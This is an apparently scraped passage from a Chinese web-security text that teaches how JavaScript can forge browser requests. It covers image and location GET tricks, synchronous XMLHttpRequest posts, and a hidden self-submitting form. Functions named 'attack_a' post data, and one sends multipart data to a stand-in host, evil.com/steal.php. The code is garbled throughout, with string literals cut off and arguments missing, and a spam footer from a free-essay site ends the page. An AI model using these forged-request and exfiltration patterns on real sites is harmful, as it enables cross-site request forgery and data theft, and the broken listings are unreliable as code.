JavaScript模拟用户发起浏览器请求
在浏览器中,用户发出的请求基本上都是HTTP协议里的GET与POST方式。对于 GET方式,实际上就是一个URL,方式有很多,常见的如下: // 新建一个img标签对象,对象的src属性指向目标地址
new Image().src=\ // 在地址栏里打开目标地址
location.href=\
这个原理是相通的,通过JavaScript动态创建iframe/frame/script/link等标签对象,然 后将它们的src或href属性指向目标地址即可。
对于POST的请求,前面说的XMLHttpRequest对象就是一个非常方便的方式,可以 模拟表单提交,它有异步与同步之分,差别在于XMLHttpRequst实例化的对象xhr的open 方法的第三个参数,true表示异步,false表示同步,如果使用异步方式,就是AJAX。异 步则表示请求发出去后,JavaScript可以去做其他事情,待响应回来后会自动触发xhr对象 的onreadystatechange事件,可以监听这个事件以处理响应内容。同步则表示请求发出去后, JavaScript需要等待响应回来,这期间就进入阻塞阶段。如下是一段同步的示例: xhr = function(){ /*xhr对象*/
var request = false;
if(window.XMLHttpRequest) {
request = new XMLHttpRequest(); } else if(window.ActiveXObject) { try {
request = new window.ActiveXObject('Microsoft.XMLHTTP');
} catch(e) {} }
return request; }();
request = function(method,src,argv,content_type){ xhr.open(method,src,false); // 同步方式
if(method=='POST')xhr.setRequestHeader('Content-Type',content_type);
// 设置表单的Content-Type类型,常见的是application/x-www-form-urlencoded xhr.send(argv); // 发送POST数据
return xhr.responseText; // 返回响应的内容 };
attack_a = function(){
var src = http://www.cosye.com/;
var argv_0 = \
request(\ };
attack_a();
POST表单提交的Content-Type为application/x-www-form-urlencoded,它是一种默认的 标准格式。还有一种比较常见:multipart/form-data。它一般出现在有文件上传的表单中,
示
例如下:
xhr = function(){
/*省略xhr对象的创建*/ }();
request = function(method,src,argv,content_type){ xhr.open(method,src,false);
if(method=='POST')xhr.setRequestHeader('Content-Type',content_type); xhr.send(argv);
return xhr.responseText; }
attack_a = function(){
var src = http://www.evil.com/steal.php; var name1 = \ var name2 = \ var argv_0 = \
argv_0 += \ form-data; name=\\\ argv_0 += (name1+\
argv_0 += \ form-data; name=\\\ argv_0 += (name2+\
argv_0 += \/*
POST提交的参数是以-------------------7964f8dddeb95fc5分隔的 下面设置表单提交的Content-Type与form-data分隔边界为: multipart/form-data; boundary=-------------------7964f8dddeb95fc5 */
request(\ boundary=-------------------7964f8dddeb95fc5\ }
attack_a();
除了可以通过xhr对象模拟表单提交外,还有一种比较原始的方式:form表单自提交。 原理是通过JavaScript动态创建一个form,并设置好form中的每个input键值,然后对form
对象做submit()操作即可,示例如下: function new_form(){
var f = document.createElement(\document.body.appendChild(f); f.method = \ return f; }
function create_elements(eForm, eName, eValue) {
var e = document.createElement(\ eForm.appendChild(e); e.type = 'text'; e.name = eName;
if(!document.all){e.style.display = 'none';}else{ e.style.display = 'block'; e.style.width = '0px'; e.style.height = '0px'; }
e.value = eValue; return e; }
var _f = new_form(); // 创建一个form对象
create_elements(_f, \创建form中的input对象 create_elements(_f, \
_f.action= \提交地址 _f.submit(); // 提交
百度搜索“77cn”或“免费范文网”即可找到本站免费阅读全部范文。收藏本站方便下次阅读,免费范文网,提供经典小说教育文库JavaScript模拟用户发起浏览器请求在线全文阅读。
相关推荐: